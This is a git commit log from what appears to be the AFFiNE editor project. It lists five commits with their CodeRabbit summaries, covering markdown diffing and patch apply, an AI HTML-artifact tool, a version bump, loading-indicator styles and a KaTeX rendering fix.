德布劳外 · 贾贵 c882a8c5da feat(core): markdown-diff & patch apply (#12844)
## New Features
- **Markdown diff**: 
- Introduced block-level diffing for markdown content, enabling
detection of insertions, deletions, and replacements between document
versions.
  - Generate patch operations from markdown diff.
- **Patch Renderer**: Transfer patch operations to a render diff which
can be rendered into page body.
- **Patch apply**:Added functionality to apply patch operations to
documents, supporting block insertion, deletion, and content
replacement.

## Refactors
* Move `affine/shared/__tests__/utils` to
`blocksuite/affine-shared/test-utils`


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Introduced utilities for declarative creation and testing of document
structures using template literals.
* Added new functions and types for block-level markdown diffing and
patch application.
* Provided a utility to generate structured render diffs for markdown
blocks.
* Added a unified test-utils entry point for easier access to testing
helpers.

* **Bug Fixes**
* Updated import paths in test files to use the new test-utils location.

* **Documentation**
* Improved example usage in documentation to reflect the new import
paths for test utilities.

* **Tests**
* Added comprehensive test suites for markdown diffing, patch
application, and render diff utilities.

* **Chores**
* Updated package dependencies and export maps to expose new test
utilities.
* Refactored internal test utilities organization for clarity and
maintainability.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

> CLOSE AI-271 AI-272 AI-273
2025-07-04 10:48:49 +00:00
Peng Xiao 8ed7dea823 feat(core): code artifact tool (#13015)
<img width="1272" alt="image"
src="https://github.com/user-attachments/assets/429ec60a-48a9-490b-b45f-3ce7150ef32a"
/>


#### PR Dependency Tree


* **PR #13015** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Introduced a new AI tool for generating self-contained HTML artifacts,
including a dedicated interface for previewing, copying, and downloading
generated HTML.
* Added syntax highlighting and preview capabilities for HTML artifacts
in chat and tool panels.
* Integrated the new HTML artifact tool into the AI chat prompt and
Copilot toolset.

* **Enhancements**
* Improved artifact preview panel layout and sizing for a better user
experience.
* Enhanced HTML preview components to support both model-based and raw
HTML rendering.

* **Dependency Updates**
  * Added the "shiki" library for advanced syntax highlighting.

* **Bug Fixes**
  * None.

* **Chores**
* Updated internal imports and code structure to support new features
and maintain consistency.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-07-03 23:39:51 +00:00
liuyi 9e1fa23c5e chore: bump base version 2025-06-24 14:43:39 +08:00
fundon de00040389 chore(editor): update loading css vars (#12557)
Related to: [BS-3559](https://linear.app/affine-design/issue/BS-3559/ui-%E5%9B%BE%E7%89%87-loading-%E5%8F%98%E9%87%8F%E6%9B%B4%E6%96%B0)

<!-- This is an auto-generated comment: release notes by coderabbit.ai -->
## Summary by CodeRabbit

- **Style**
  - Improved the appearance of image loading indicators by updating background and ring colors for a more consistent visual experience.

- **New Features**
  - Added customization options for the loading icon's ring color.

- **Chores**
  - Updated the "@toeverything/theme" dependency to version ^1.1.15 across multiple packages for improved consistency and compatibility.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-05-29 02:01:06 +00:00
Saul-Mirone f5f959692a fix(editor): latex wrong config (#12578)
Closes: BS-2782

<!-- This is an auto-generated comment: release notes by coderabbit.ai -->
## Summary by CodeRabbit

- **New Features**
  - Added KaTeX as a dependency to improve LaTeX rendering support.
  - KaTeX styles are now applied globally for consistent math formatting.

- **Refactor**
  - Updated LaTeX rendering to use inline math mode and removed MathML output.

- **Tests**
  - Enhanced inline LaTeX tests with snapshot-based verification for consistent rendering.
  - Added new snapshot files capturing expected LaTeX rendering outputs for various scenarios.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-05-28 02:23:45 +00:00